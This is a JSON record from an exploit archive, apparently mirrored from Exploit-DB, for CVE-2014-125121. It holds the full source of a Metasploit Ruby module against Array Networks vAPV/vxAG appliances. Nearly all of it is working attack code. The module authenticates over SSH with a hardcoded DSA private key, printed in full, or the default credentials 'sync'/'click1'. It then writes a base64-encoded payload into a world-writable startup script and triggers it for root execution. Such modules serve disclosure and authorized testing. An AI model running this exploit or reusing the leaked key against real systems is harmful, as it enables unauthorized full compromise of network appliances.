{"exploit":{"id":"EDB-32440","name":"Array Networks vAPV 8.3.2.17/vxAG 9.2.0.34 - Private Key Privilege Escalation / Code Execution (Metasploit)","description":"Array Networks vAPV 8.3.2.17/vxAG 9.2.0.34 - Private Key Privilege Escalation / Code Execution (Metasploit)","cves":["CVE-2014-125121"],"author":"Metasploit","published":"2014-03-22","platform":"hardware","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/32440","path":"exploits/hardware/remote/32440.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-32440.rb","vulnerabilities":[{"id":"CVE-2014-125121","state":"PUBLISHED","title":"Array Networks vAPV and vxAG Default Credential Privilege Escalation","titleSource":"CVE Program","description":"Array Networks vAPV (version 8.3.2.17) and vxAG (version 9.2.0.34) appliances are affected by a privilege escalation vulnerability caused by a combination of hardcoded SSH credentials (or SSH private key) and insecure permissions on a startup script. The devices ship with a default SSH login or a hardcoded DSA private key, allowing an attacker to authenticate remotely with limited privileges. Once authenticated, an attacker can overwrite the world-writable /ca/bin/monitor.sh script with arbitrary commands. Since this script is executed with elevated privileges through the backend binary, enabling the debug monitor via backend -c \"debug monitor on\" triggers execution of the attacker's payload as root. This allows full system compromise.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-125121","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-125121"},"updatedAt":"2026-04-07T14:03:26.222Z","retrievedAt":"2026-11-27T13:08:59.887Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-32440.png?v=2","url":"https://exploitbin.com/exploits/EDB-32440","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-32440/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-32440/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http//metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\nrequire 'net/ssh'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::EXE\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution\",\n      'Description'    => %q{\n        This module exploits a default hardcoded private SSH key or default hardcoded\n        login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made\n        by Array Networks. After logged in as the unprivileged user, it's possible to\n        modify the world writable file /ca/bin/monitor.sh with our arbitrary code.\n        Execution of the arbitrary code is possible by using the backend tool, running\n        setuid, to turn the debug monitoring on. This makes it possible to trigger our\n        payload with root privileges.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'xistence <xistence[at]0x90.nl>',  # Original discovery and Metasploit module\n        ],\n      'References'     =>\n        [\n          ['OSVDB', '104652'],\n          ['OSVDB', '104653'],\n          ['OSVDB', '104654'],\n          ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html']\n        ],\n      'DefaultOptions'  =>\n        {\n          'ExitFunction' => \"none\"\n        },\n      'Platform'       => 'unix',\n      'Arch'           => ARCH_CMD,\n      'Payload'        =>\n        {\n          'Compat' =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'generic telnet',\n            }\n        },\n      'Targets'        =>\n        [\n          ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],\n        ],\n      'Privileged'     => true,\n      'DisclosureDate' => \"Feb 03 2014\",\n      'DefaultTarget'  => 0))\n\n    register_options(\n      [\n        Opt::RHOST(),\n        Opt::RPORT(22),\n        OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),\n        OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),\n        OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])\n      ], self.class\n    )\n\n    register_advanced_options(\n      [\n        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),\n        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])\n      ]\n    )\n  end\n\n  def rhost\n    datastore['RHOST']\n  end\n\n\n  def rport\n    datastore['RPORT']\n  end\n\n  def login_key(user)\n    print_status(\"#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'\")\n\n    key_data = \"-----BEGIN DSA PRIVATE KEY-----\\n\"\n    key_data += \"MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\\n\"\n    key_data += \"q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\\n\"\n    key_data += \"xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\\n\"\n    key_data += \"Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\\n\"\n    key_data += \"gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\\n\"\n    key_data += \"mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\\n\"\n    key_data += \"O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\\n\"\n    key_data += \"OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\\n\"\n    key_data += \"+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\\n\"\n    key_data += \"+sqSEhA35Le2kC4Y1/A=\\n\"\n    key_data += \"-----END DSA PRIVATE KEY-----\\n\"\n\n    opts = {\n      #:auth_methods => ['password', 'keyboard-interactive'],\n      :auth_methods => ['publickey'],\n      :msframework  => framework,\n      :msfmodule    => self,\n      :port         => rport,\n      :disable_agent => true,\n      :config => true,\n      :key_data     => key_data,\n      #:password => pass,\n      :record_auth_info => true,\n      :proxies => datastore['Proxies']\n    }\n\n    opts\n  end\n\n  def login_user_pass(user, pass)\n    print_status(\"#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'\")\n\n    opts = {\n      :auth_methods => ['password', 'keyboard-interactive'],\n      :msframework  => framework,\n      :msfmodule    => self,\n      :port         => rport,\n      :disable_agent => true,\n      :config => true,\n      :password => pass,\n      :record_auth_info => true,\n      :proxies => datastore['Proxies']\n    }\n\n    opts\n  end\n\n  def build_command\n    mon_temp = rand_text_alphanumeric(10)\n    cmd = Rex::Text.encode_base64(\"nohup \" + payload.encoded)\n    # Turn debug monitoring off, just in case it's turned on\n    command = '/ca/bin/backend -c \"debug monitor off\"`echo -e \"\\0374\"`;'\n    # Copy the data from monitor.sh to a random tmp file\n    command += \"cat /ca/bin/monitor.sh > /tmp/#{mon_temp};\"\n    # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file\n    command += \"/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\\\"#{cmd}\\\")' > /ca/bin/monitor.sh;\"\n    # Turn debug monitoring on, which will start the monitor.sh and thus our payload\n    command += '/ca/bin/backend -c \"debug monitor on\"`echo -e \"\\0374\"`;'\n    # Copy monitor.sh data back\n    command += \"cat /tmp/#{mon_temp} > /ca/bin/monitor.sh\"\n\n    command\n  end\n\n\n  #def execute_command(cmd, opts)\n  def exploit\n    user = datastore['USER']\n    pass = datastore['PASS']\n\n    if datastore['SSHKEY']\n      opts = login_key(user)\n    else\n      opts = login_user_pass(user, pass)\n    end\n\n    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']\n\n    begin\n      ssh = nil\n      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do\n        ssh = Net::SSH.start(rhost, user, opts)\n      end\n    rescue Rex::ConnectionError, Rex::AddressInUse\n      fail_with(Failure::Unreachable, \"#{rhost}:#{rport} SSH - Connection error or address in use\")\n    rescue Net::SSH::Disconnect, ::EOFError\n      fail_with(Failure::Disconnected, \"#{rhost}:#{rport} SSH - Disconnected during negotiation\")\n    rescue ::Timeout::Error\n      fail_with(Failure::TimeoutExpired, \"#{rhost}:#{rport} SSH - Timed out during negotiation\")\n    rescue Net::SSH::AuthenticationFailed\n      fail_with(Failure::NoAccess, \"#{rhost}:#{rport} SSH - Failed authentication\")\n    rescue Net::SSH::Exception => e\n      fail_with(Failure::Unknown, \"#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}\")\n    end\n\n    fail_with(Failure::Unknown, \"#{rhost}:#{rport} SSH session couldn't be established\") unless ssh\n\n    if datastore['SSHKEY']\n      print_good(\"#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'\")\n    else\n      print_good(\"#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'\")\n    end\n\n    # Make the SSH connection and execute our commands + payload\n    print_status(\"#{rhost}:#{rport} - Sending and executing payload to gain root privileges!\")\n    Net::SSH::CommandStream.new(ssh, build_command, true)\n  end\n\nend","sha256":"914f8a7ef3abc6bcb7000e20b7a8e011a76f7240999bc39a0e119bcd6e41f881","bytes":7039,"fetchedAt":"2026-11-27T13:08:59.776Z","encoding":"utf-8 (display only; download retains original bytes)"}